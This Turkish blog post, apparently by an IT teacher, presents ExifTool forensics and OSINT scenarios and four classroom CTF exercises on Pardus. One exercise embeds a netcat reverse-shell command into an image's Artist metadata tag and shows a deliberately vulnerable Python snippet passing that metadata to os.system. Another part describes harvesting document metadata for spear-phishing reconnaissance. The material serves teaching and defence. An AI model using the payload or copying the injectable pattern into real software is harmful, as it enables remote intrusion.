Adli Bilişim (Forensics) Kolaylığı: Yıl sonunda veya bir disiplin durumunda elinizdeki yüzlerce ekran görüntüsünü incelerken, dosya adları değişmiş olsa bile ExifTool ile
-UserCommentveya-DocumentNameetiketlerini filtreleyerek hangi tahtadan, ne zaman ve kimin oturumunda çekildiğini kesin olarak kanıtlayabilirsiniz.Temiz Veritabanı: Görsel detaylarını SQL veritabanında tutmak yerine (ki veritabanı şişebilir veya görseller veritabanından kopabilir), veriyi doğrudan dosyanın içine hapsederek taşınabilir ve bağımsız bir arşivleme yaparsınız.
İşte siber güvenlik süreçlerine doğrudan entegre edebileceğiniz 3 gelişmiş senaryo:
Senaryo 16: Blue Team (Savunma) - Steganografi ve Zararlı Yazılım (Malware) Analizi
Durum: Ağınıza sızmaya çalışan bir saldırgan, güvenlik duvarını ve antivirüsleri atlatmak için zararlı bir Bash betiğini (script) masum görünen bir JPEG dosyasının içine gizlemiş olabilir (Steganografi). Saldırganlar genellikle bu zararlı kodları -Comment, -Copyright veya -DocumentName gibi uzun metin alabilen etiketlerin içine Base64 formatında kodlayarak yerleştirirler.
Çözüm: Şüpheli dosyanın içindeki belirli bir etiketi ikili veri (binary) olarak dışarı çekip, doğrudan terminalde çözerek (decode) içindeki asıl komutu ortaya çıkarmak.
# Şüpheli resmin "Comment" etiketindeki veriyi çek ve base64 ile çözexiftool -b -Comment supheli_resim.jpg | base64 -dAdli Bilişim İpucu: Eğer çıktı olarak
#!/bin/bashile başlayan veya sistem dosyalarına (/etc/shadowvb.) erişmeye çalışan bir komut seti görürseniz, bu sıradan bir fotoğraf değil, tetiklenmeyi bekleyen bir "dropper" dosyasıdır.
Senaryo 17: Red Team (Saldırı) - OSINT ve İç Ağ İstihbaratı Toplama
Durum: Kapsamlı bir sızma testi (penetration test) yürütüyorsunuz. Hedef sistemin altyapısı hakkında hiçbir bilginiz yok. Ancak hedef kurumun halka açık web sitesinde yayınlanmış çeşitli kılavuzlar, PDF belgeleri ve duyuru görselleri bulunuyor. Bu belgeleri toplayarak hedef kurumun kullandığı yazılımları, işletim sistemlerini ve iç ağ mimarisini haritalandırmak istiyorsunuz. Çözüm: İndirilen tüm dokümanları ExifTool ile tarayıp, iç ağdaki kullanıcı adlarını ve yazılım versiyonlarını sızdırmak.
# PDF ve ofis belgelerinden yazar, yazılım versiyonu ve dosya yollarını çekmeexiftool -Author -Creator -Producer -Warning /indirilen_belgeler/Zafiyet Keşfi: Çıktıda
Producer: Acrobat Distiller 8.1.0 (Windows)gibi çok eski bir yazılım sürümü veya/Users/hasan/Desktop/gizli_proje/gibi kurumun iç ağ yapısını ele veren dosya yolları tespit edilebilir. Bu bilgiler, bir sonraki aşamada gerçekleştirilecek hedef odaklı oltalama (spear-phishing) saldırıları için paha biçilmezdir.
Senaryo 18: Ağ Trafiği Analizi ve Otomatik Meta Veri Ayıklama (Tshark / Suricata Entegrasyonu)
Durum: Ağ güvenliği dersi veya bir tatbikat kapsamında, öğrencilerin veya katılımcıların ağ üzerinden indirilen dosyaları nasıl analiz edeceklerini görmelerini istiyorsunuz. Tshark (veya Wireshark) ile ağ trafiğini (PCAP dosyası) dinlediniz ve HTTP üzerinden indirilen tüm görselleri bir klasöre çıkarttınız (extract ettiniz). Şimdi bu görsellerin içinde anomali aramanız gerekiyor.
Çözüm: Bash betiği kullanarak klasördeki tüm dosyaları ExifTool ile taramak ve sadece "içinde potansiyel kod çalıştırılabilecek kadar uzun karakter barındıran" etiketleri filtrelemek.
# Ağdan çıkarılan dosyalardaki 100 karakterden uzun gizli metinleri bulmaexiftool -if 'length($Comment) > 100' -FileName -Comment /pcap_extracted_files/Otomasyon İpucu: Bu yaklaşımı Pardus üzerindeki bir bash betiğiyle otomatikleştirerek, Suricata gibi bir IDS'ten (Saldırı Tespit Sistemi) uyarı geldiğinde ağdaki dosyayı anında yakalayıp meta veri analizi yapan bir savunma mekanizması kurabilirsiniz.
11. sınıf Bilişim Teknolojileri öğrencilerinizin Red Team vs. Blue Team tatbikatında doğrudan kullanabileceği, Pardus laboratuvar ortamına tam uyumlu bir CTF (Capture the Flag) "Bayrağı Yakala" görev dosyası hazırladım.
Bu senaryoda siz (Red Team) zararlı bir kodu resim dosyasına gizleyeceksiniz, öğrenciler (Blue Team) ise ağ trafiğini ve meta verileri analiz ederek bu tehdidi bulmaya çalışacaklar.
CTF Senaryosu: Operasyon Gizli Katman (Steganografi ve Ağ Analizi)
Hedef Kitle: Blue Team (Savunma Ekibi - 11. Sınıf)
Kullanılacak Araçlar: Pardus Terminal, Tshark / Wireshark, ExifTool, Base64
Amaç: Ağa sızan zararlı bir yazılımın (dropper) iletişim yöntemini tespit etmek ve gizli bayrağı (FLAG{...}) bulmak.
BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)
Bu adımları tatbikattan önce kendi bilgisayarınızda uygulayarak hedef dosyayı hazırlamalısınız.
1. Bayrağı Base64 ile Şifreleyin:
Öğrencilerin bulmasını istediğimiz gizli mesajı (zararlı kod simülasyonu) oluşturun ve Base64 formatına çevirin.
echo "FLAG{P4rdus_M3t4d4t4_Avcisi}" | base64# Çıktı: RkxBR3tQNHJkdXNfTTN0NGQ0dDRfQXZjaXNpfQo=2. Şifreyi Masum Bir Resme Gömün:
Normal bir okul veya doğa fotoğrafı (manzara.jpg) seçin. Öğrencileri şaşırtmak için sahte bir telif hakkı bilgisi ekleyin ve asıl şifreyi Comment (Yorum) etiketine gömün.
exiftool -Copyright="© 2026 nuritiras.com.tr" -Comment="RkxBR3tQNHJkdXNfTTN0NGQ0dDRfQXZjaXNpfQo=" manzara.jpg
İsteğe Bağlı: Bu resmi bir web sunucusuna (Nginx vb.) koyup, laboratuvardaki bir cihazdan
curlveyawgetile indirerek PCAP (ağ trafiği) dosyasını oluşturabilirsiniz.
BÖLÜM 2: Öğrenci Görev Yönergesi (Öğrencilere Verilecek Belge)
📜 Olay Yeri Raporu (Senaryo Hikayesi)
Tarih: 04 Haziran 2026
Konu: Şüpheli Ağ Aktifliği
Sayın Blue Team Analistleri,
Okulumuzun ağ izleme sistemleri (Suricata), saat 10:30 sularında dışarıdaki bilinmeyen bir sunucudan laboratuvarımızdaki bir Pardus makinesine şüpheli bir dosya indirildiğini tespit etmiştir. İndirilen dosya standart bir JPEG görseli gibi görünmektedir ancak sistem yöneticilerimiz dosyanın içerisinde ağımıza arka kapı (backdoor) açacak gizli bir kodun taşındığından şüphelenmektedir.
Göreviniz: Size teslim edilen manzara.jpg dosyasını adli bilişim araçlarıyla analiz etmek, gizlenmiş zararlı komutu bulmak ve komutu deşifre ederek raporlamaktır.
🛠️ Görev Adımları
Görev 1: İstihbarat Toplama (Meta Veri Taraması)
Öncelikle dosyanın içerisindeki tüm meta verileri dökerek standart dışı bir metin veya kod parçası aramalısınız.
Pardus terminalinizi açın.
exiftoolkullanarak dosyanın tüm meta verilerini listeleyin. Sadece tarih veya boyut bilgilerine değil, özellikle metin içerebilen etiketlere (Yazar, Açıklama, Yorum, Telif Hakkı) dikkatlice bakın.
Görev 2: Anomali Tespiti
Çıktıyı incelediğinizde, normal bir fotoğrafta olmaması gereken, anlamsız harf ve rakamlardan oluşan karmaşık bir metin dizisi (string) göreceksiniz.
İpucu: Saldırganlar genellikle bu verileri filtrelemek için
-bparametresini kullanmadan doğrudan okumanızı zorlaştırabilirler. İlgili etiketin tam adını bulun.
Görev 3: Veriyi Çıkartma (Extraction)
Bulduğunuz şüpheli etiketi (örneğin X etiketi olsun), diğer meta verilerden izole ederek doğrudan terminale yazdırın.
Kullanılacak Komut Formatı:
exiftool -[EtiketAdı] dosya_adi.jpg
Görev 4: Deşifre (Decoding) ve Bayrağı Ele Geçirme
Bulduğunuz o karmaşık metin aslında siber güvenlikte çok sık kullanılan bir şifreleme/kodlama yöntemi olan Base64 ile kodlanmıştır. Son adım olarak, Pardus üzerinde yerleşik bulunan base64 aracını kullanarak bu metni çözün.
İpucu: Veriyi pipe (
|) operatörü ile doğrudan deşifre aracına yönlendirebilirsiniz. Komutunuz şu yapıya benzemelidir:exiftool -b -[EtiketAdı] dosya_adi.jpg | base64 -d
Başarıyla çözdüğünüzde ekranda FLAG{...} formatındaki bayrağı göreceksiniz. Bayrağı bulduğunuzda eğitmeninize raporlayın!
📋 Değerlendirme Rubriği (Notlandırma Anahtarı)
Öğrencilerinizin adımları tamamlama durumuna göre kullanabileceğiniz hızlı bir rubrik:
| Kriter | Puan | Açıklama | Beklenen Çıktı/Komut |
| Meta Veri Okuma | 25 Puan | Exiftool'u dosya üzerinde temel düzeyde çalıştırabilme. | exiftool manzara.jpg |
| Anomaliyi Tespit Etme | 25 Puan | Çıktılar arasındaki Base64 dizilimini (Comment etiketi) fark etme. | Yorum satırındaki şüpheli diziyi raporlama. |
| Veri İzolasyonu | 25 Puan | Sadece şüpheli etiketi ekrana yazdıracak komutu kurabilme. | exiftool -Comment manzara.jpg |
| Deşifre (Decoding) | 25 Puan | Çıktıyı pipe (|) ile base64 aracına bağlayıp bayrağı (FLAG{...}) elde etme. | exiftool -b -Comment manzara.jpg | base64 -d |
Ağ güvenliği ve paket analizi konularını işin içine katarak, laboratuvar ortamınızdaki tatbikatlar için harika bir "Veri Sızdırma" (Data Exfiltration) senaryosu daha hazırladım.
Bu senaryo, öğrencilerin sadece bir dosyayı değil, ağ trafiğini (PCAP) inceleyerek dosyayı bulmalarını ve ardından ExifTool ile içindeki sızdırılmış veriyi yakalamalarını gerektiriyor. Tshark/Wireshark pratikleri için mükemmel bir sınav veya proje modülü olabilir.
CTF Senaryosu 2: Operasyon Hayalet Veri (Data Exfiltration)
BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)
Bu adımları tatbikattan önce uygulayarak laboratuvar ortamı için örnek bir PCAP (ağ trafiği) dosyası oluşturmalısınız.
Pardus_Klavuzu.pdf adında standart bir belge olsun. Ele geçirilen yönetici parolasını (Bayrağı) belgenin "Anahtar Kelimeler" (Keywords) veya "Konu" (Subject) etiketine yerleştirin.exiftool -Keywords="FLAG{4g_Tr4figi_4n4liz_3dildi}" Pardus_Klavuzu.pdf
Basit HTTP Sunucusu (Dosyanın olduğu klasörde çalıştırın):
python3 -m http.server 8080Tshark Dinlemesi (Ayrı terminalde):
tshark -w veri_sizintisi.pcap -i eth0(Kendi arayüzünüzü yazın)Diğer makineden dosyayı çekin:
wget http://sunucu_ip:8080/Pardus_Klavuzu.pdfTshark dinlemesini durdurun. Artık elinizde öğrencilere vereceğiniz
veri_sizintisi.pcapdosyası var.
BÖLÜM 2: Öğrenci Görev Yönergesi
📜 Olay Yeri Raporu
Konu: Yetkisiz Veri Çıkışı (Exfiltration) Şüphesi
Göreviniz: Size verilen veri_sizintisi.pcap dosyasını analiz ederek, ağ üzerinden transfer edilen dosyayı bulmak, bu dosyayı ağ trafiğinden dışarı çıkartmak (extract) ve içine gizlenmiş olan sızdırılmış parolayı (bayrağı) tespit etmektir.
🛠️ Görev Adımları
Görev 1: Ağ Trafiği Analizi (Wireshark/Tshark)
Size verilen
.pcapdosyasını Wireshark ile açın veya Tshark komutlarıyla analiz edin.Hedefiniz HTTP trafiğini (port 80 veya 8080) filtrelemek ve ağ üzerinden hangi dosyanın indirildiğini bulmaktır. (Örn:
http.requestfiltresini kullanabilirsiniz).
Görev 2: Dosyayı Ağ Paketlerinden Çıkartma (Extraction)
Dosya transferini bulduktan sonra, bu dosyayı PCAP içerisinden bilgisayarınıza kaydetmelisiniz.
Wireshark İpucu:
File -> Export Objects -> HTTPmenüsünü kullanarak PDF dosyasını masaüstünüze kaydedin.
Görev 3: Adli Meta Veri İncelemesi (ExifTool)
Ağdan başarıyla çıkardığınız belge ilk bakışta normal bir PDF gibi açılabilir. Tuzağa düşmeyin!
Terminali açın ve
exiftoolkullanarak belgenin detaylı haritasını çıkarın.Saldırganlar genellikle IDS/IPS (Saldırı Tespit Sistemleri) kurallarını atlatmak için metin tabanlı verileri
Keywords(Anahtar Kelimeler) gibi gözden kaçan alanlara saklarlar.
Görev 4: Bayrağı Tespit Etme
Gizlenmiş veriyi bulduğunuzda, parola
FLAG{...}formatında olacaktır.
💡 Neden Bu Senaryo Önemli?
Öğrenciler, Suricata veya Nmap gibi araçlarla ağ güvenliği çalışırken, işin "veri sızdırma" (DLP - Data Loss Prevention) boyutunu da uygulamalı olarak öğrenmiş olurlar.
Senaryoyu zorlaştırmak isterseniz, Red Team hazırlık aşamasında ExifTool komutunu çalıştırırken bayrağı doğrudan değil, yine Base64 ile şifreleyerek Keywords alanına ekleyebilirsiniz. Böylece öğrenciler PDF'i ağdan çıkardıktan sonra bir de şifre çözme (decoding) aşaması yapmak zorunda kalırlar.
Harika bir ivme yakaladık! Ağ paketlerini ve standart steganografiyi geride bırakıp, siber güvenlikte çok daha sinsi ve ileri düzey bir saldırı vektörüne geçelim: Meta Veri Üzerinden Komut Enjeksiyonu (Command Injection). Özellikle kendi geliştirdiğiniz yönetim panellerinde veya otomasyon betiklerinde veri doğrulamanın (input validation) ne kadar kritik olduğunu 11. sınıf öğrencilerine çarpıcı bir şekilde gösterecek bir laboratuvar senaryosu hazırladım.
CTF Senaryosu 3: Operasyon Zehirli Arkaplan (Zafiyet Analizi ve Olay Müdahalesi)
📜 Olay Yeri Raporu ve Hikaye
Konu: Sunucuda Beklenmeyen Arka Kapı (Backdoor)
Sistemde yapılan tek değişiklik, sabah saatlerinde tüm tahtalara yeni bir "19 Mayıs Atatürk'ü Anma" temalı arkaplan görselinin (19mayis_arkaplan.jpg) panel üzerinden toplu olarak gönderilmesidir.
Göreviniz: Bu görselin içine gizlenmiş tetikleyici (payload) komutu bulmak, Python ile yazılmış yönetim panelimizdeki zafiyeti tespit etmek ve bu saldırının nasıl başarılı olduğunu raporlamaktır.
BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükünü Oluşturma)
Saldırgan (Red Team rolündeki siz), görselin meta verisine masum bir yazar adı yerine, doğrudan işletim sisteminde çalışacak bir terminal komutu yerleştirir.
.jpg dosyası alın ve Artist (Yazar) etiketine bir tersine kabuk (reverse shell) komutu enjekte edin. Backtick () veya $()` kullanarak komutun Linux terminalinde çalışmasını hedefleyin.exiftool -Artist="\$(nc -e /bin/bash 192.168.1.50 4444)" 19mayis_arkaplan.jpg
(Not: 192.168.1.50 saldırganın dinleme yaptığı IP'dir. Eğitim ortamında zararsız bir $(touch /tmp/hacked.txt) komutu da kullanabilirsiniz.)
# zafiyetli_sistem.py (Öğrencilerin inceleyeceği kod parçası)import subprocessimport os
dosya_yolu = "/usr/share/backgrounds/19mayis_arkaplan.jpg"
# ExifTool ile yazar bilgisini çekiyoruzyazar_bilgisi = subprocess.getoutput(f"exiftool -b -Artist {dosya_yolu}")
# ZAFİYET BURADA: Çekilen veri temizlenmeden doğrudan OS'e gönderiliyor!# İşletim sistemi bu log komutunu çalıştırırken, içindeki $(nc ...) komutunu da tetikler.os.system(f"logger 'Arkaplan değiştirildi. Eser Sahibi: {yazar_bilgisi}'")BÖLÜM 2: Öğrenci Görev Adımları (Olay Müdahalesi)
19mayis_arkaplan.jpg dosyasını alıp ExifTool ile detaylı bir taramadan geçirmelidir.Beklenen Eylem:
exiftool 19mayis_arkaplan.jpgkomutunu çalıştırıp,Artistveya diğer etiketlerde yer alan OS komutlarını (örn:$(nc -e /bin/bash ...)) fark etmek.
zafiyetli_sistem.py) verilir. Öğrencilerden, meta verideki bu zararlı komutun nasıl tetiklendiğini bulmaları istenir.Beklenen Tespit:
os.system()fonksiyonunun dışarıdan gelen veriyi (ExifTool çıktısını) hiçbir güvenlik filtresinden geçirmeden doğrudan Terminal'e (Shell) ilettiğini tespit etmek.
Beklenen Çözüm:
os.system()yerine, shell kullanımını engelleyen güvenlisubprocess.run()listeli argüman yapısına geçilmesi veya gelen ExifTool verisinin sadece alfanümerik karakterler (A-Z, 0-9) içerip içermediğinin (Regex ile) kontrol edilmesi.
💡 Neden Bu Senaryo Önemli?
Bu senaryo, öğrencilere "veri veridir, kod koddur" yanılgısını kırar. Bir resim dosyasının içindeki yazar adının bile, eğer yazılım geliştirici dikkatli değilse, IBM x3500 M4 üzerindeki devasa bir Proxmox sunucusunu veya bir laboratuvar dolusu akıllı tahtayı saniyeler içinde ele geçirebileceğini gösterir. Savunmanın sadece ağda (Blue Team) değil, kod yazarken (Secure Coding) başladığını harika bir şekilde kanıtlar.
Siber güvenlik dünyasında tehditler sadece dışarıdan gelmez; bazen en büyük risk içeridedir. Öğrencilerinize "Açık Kaynak İstihbaratı" (OSINT) ve "Dijital Adli Bilişim" (Digital Forensics) yeteneklerini fiziksel bir olayla birleştirerek öğretebileceğiniz, doğrudan laboratuvar ortamınızdaki donanımları hikayeye katan sürükleyici bir senaryo daha hazırladım.
CTF Senaryosu 4: Operasyon İçerideki Tehdit (Insider Threat & OSINT)
📜 Olay Yeri Raporu
Konu: Gizli Altyapı Bilgilerinin Sızdırılması
Dışarıdan bir sızma emaresi yoktur. Bu fotoğrafın laboratuvardaki bir cihazla, fiziksel olarak içeride bulunan biri tarafından çekildiği ve sızdırıldığı kesindir. Elimizde forumdan indirilmiş sunucu_sizinti.jpg dosyası ve olay gününe ait laboratuvar DHCP/Erişim log kayıtları (erisimgunlugu.txt) bulunmaktadır.
Göreviniz: Fotoğrafı adli bilişim yöntemleriyle analiz edip fotoğrafın hangi marka/model cihazla ve tam olarak saat kaçta çekildiğini bulmak. Ardından bu bilgileri erişim günlüğüyle çapraz sorgulayarak sızıntıyı yapan cihazın IP adresini ve kullanıcısını tespit etmektir.
BÖLÜM 1: Eğitmen Hazırlığı (Red Team Yükü ve Log Üretimi)
Bu tatbikat için öğrencilere vereceğiniz sahte log dosyasını ve fotoğrafı manipüle etmeniz gerekiyor.
# Fotoğrafa kurgusal bir telefon markası ve seri numarası ekliyoruzexiftool -Make="PardusMobile" -Model="SecurPhone v2" -SerialNumber="PRD-11-BT-404" -CreateDate="2026:06:04 14:15:33" sunucu_sizinti.jpgerisimgunlugu.txt):14:02:11 - IP: 192.168.1.101 - Cihaz: Samsung Galaxy S23 - MAC: aa:bb:cc:dd:ee:1114:10:05 - IP: 192.168.1.102 - Cihaz: iPhone 13 - MAC: aa:bb:cc:dd:ee:2214:12:45 - IP: 192.168.1.105 - Cihaz: PardusMobile SecurPhone v2 - MAC: 00:11:22:33:44:55 (Şüpheli)14:18:20 - IP: 192.168.1.108 - Cihaz: Xiaomi Redmi Note 12 - MAC: aa:bb:cc:dd:ee:33
BÖLÜM 2: Öğrenci Görev Adımları (Blue Team Soruşturması)
Terminalde
exiftool sunucu_sizinti.jpgkomutunu çalıştırarak cihazın markasını (Make), modelini (Model) ve donanım seri numarasını (SerialNumber) tespit etmelidirler.
Öğrenciler
CreateDate(Oluşturulma Tarihi) etiketini bularak, fotoğrafın tam olarak hangi saniyede çekildiğini not etmelidir. (Örn:14:15:33).
14:15 saatini, kendilerine verilen erisimgunlugu.txt dosyasıyla karşılaştırmalıdır.Beklenen Çıkarım: "Fotoğraf 14:15'te PardusMobile cihazıyla çekilmiş. Loglara baktığımızda bu cihaz 14:12'de laboratuvar ağına bağlanarak 192.168.1.105 IP adresini almış. Tehdit unsuru bu cihazdır!"
FLAG{00:11:22:33:44:55}💡 Neden Bu Senaryo Önemli?
Bu CTF, bir siber güvenlik uzmanının sadece kodlarla veya ağ paketleriyle değil, aynı zamanda log dosyalarıyla (Log Management) çalışarak dedektiflik yapması gerektiğini öğretir. ExifTool'un bir saldırı aracından ziyade, adaleti sağlayan bir "dijital mikroskop" gibi nasıl kullanılabileceğini çok net bir şekilde örneklendirir.
Yorumlar